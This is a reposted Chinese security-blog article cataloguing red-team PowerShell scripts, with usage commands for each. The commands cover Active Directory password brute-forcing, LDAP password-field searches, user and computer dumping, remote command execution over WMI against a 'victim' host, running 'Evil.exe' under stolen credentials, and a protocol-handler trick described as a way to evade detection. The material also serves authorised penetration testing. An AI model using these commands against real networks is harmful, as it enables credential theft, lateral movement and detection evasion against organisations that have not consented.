Red Team 常用 Powershell 脚本
2022-8-9 00:3:20 Author: LemonSec(查看原文) 阅读量:17 收藏

推荐一红队大佬的号:

各种常用PowerShell脚本:

Search-EventForUser.ps1:在 Windows 事件日志中搜索特定用户的 Powershell 脚本Search-FullNameToSamAccount.ps1SamAccountName 的全名Search-UserPassword.ps1:在 LDAP 中搜索 userPassword 字段Remote-WmiExecute.ps1:使用 WMI 远程执行命令Take-Screenshot.ps1:截图(PNGGet-BrowserHomepage.ps1:获取浏览器主页Get-IEBookmarks.ps1:列出所有 Internet Explorer 书签 URLInvoke-ADPasswordBruteForce.ps1:测试用户密码Utility.ps1:包含几个 cmdletRun-As.ps1:以另一个用户身份运行进程(凭据)Get-ProcessList.ps1:列出进程、所有者和命令行参数Remote-RegisterProtocolHandler.ps1:使用协议处理程序运行您的命令以绕过某些检测Add-UserLogonScript:为特定用户添加登录脚本

Search-EventForUser.ps1 用法

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser "MrUn1k0d3r"
module-import .\Search-EventForUser.ps1; "MrUn1k0d3r" | Search-EventForUser
module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -ComputerName DC01
module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -FindDC true
module-import .\Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true
module-import .\Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true -Username DOMAIN\admin -Password "123456"

Search-FullNameToSamAccount.ps1 用法

module-import .\Search-FullNameToSamAccount.ps1; Search-FullNameToSamAccount -Filter *god*
module-import .\Search-FullNameToSamAccount.ps1; "god", "mom" | Search-FullNameToSamAccount

Search-UserPassword.ps1 用法

module-import .\Search-UserPassword.ps1; Search-UserPassword -Username *god*
module-import .\Search-UserPassword.ps1; "god", "mom" | Search-UserPassword

Remote-WmiExecute.ps1 用法

module-import .\Remote-WmiExecute.ps1; Remote-WmiExecute -ComputerName victim01 -Payload "cmd.exe /c whoami"

Take-Screenshot.ps1 用法

module-import .\Take-Screenshot.ps1; Take-Screenshot -Path C:\test.png

Get-BrowserHomepage.ps1 用法

module-import .\Get-BrowserHomepage.ps1; Get-BrowserHomepage

Get-IEBookmarks.ps1 用法 

module-import .\Get-IEBookmarks.ps1; Get-IEBookmarks

Invoke-ADPasswordBruteForce.ps1 用法

module-import .\Invoke-ADPasswordBruteForce; Invoke-ADPasswordBruteForce -Username "mr.un1k0d3r" -Password "password"
module-import .\Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password"
module-import .\Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password" -Domain MATRIX

Utility.ps1用法

Search-EventForUserSearch-EventForUserByDomainSearch-EventForUserByIPSearch-FullNameToSamAccountLdap-GetPropertySearch-UserPasswordDump-UserEmailDump-ComputersDump-UserName

Run-As.ps1 用法

module-import .\Run-As.ps1; Run-As -Username RingZer0\Mr.Un1k0d3r -Password "IShouldNotLeakThisPasswordOnTheInternet" -Process "C:\Evil.exe"

COM-Utility.ps1用法

Invoke-COM-ScheduleServiceInvoke-COM-XMLHTTPInvoke-COM-ShellBrowserWindowInvoke-COM-WindowsScriptHostInvoke-COM-ProcessChain Invoke-COM-ShellApplication

Get-ProcessList.ps1 用法

module-import .\Get-ProcessList.ps1; Get-ProcessList

Remote-RegisterProtocolHandler.ps1 用法

此 cmdlet 创建将调用您的有效负载的协议处理程序。这个想法是为了避免检测,因为将执行的命令如下所示:explorer ms-browse://

您注册的自定义处理程序在哪里 ms-browser 并将执行您的命令

module-import .\Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload "command to run"module-import .\Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload "command to run" -Handler ms-handler-name

注:如有侵权请联系删除

 热文推荐  

欢迎关注LemonSec

觉得不错点个“赞”、“在看”


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247531600&idx=2&sn=0bb22b1b3fc05dbec37776fe48e0e194&chksm=f9e3130bce949a1dee3905966cd56e92cd2bb0f7a8f61b4788ffdd621de57ec8c1f3f2427853#rd
如有侵权请联系:admin#unsafe.sh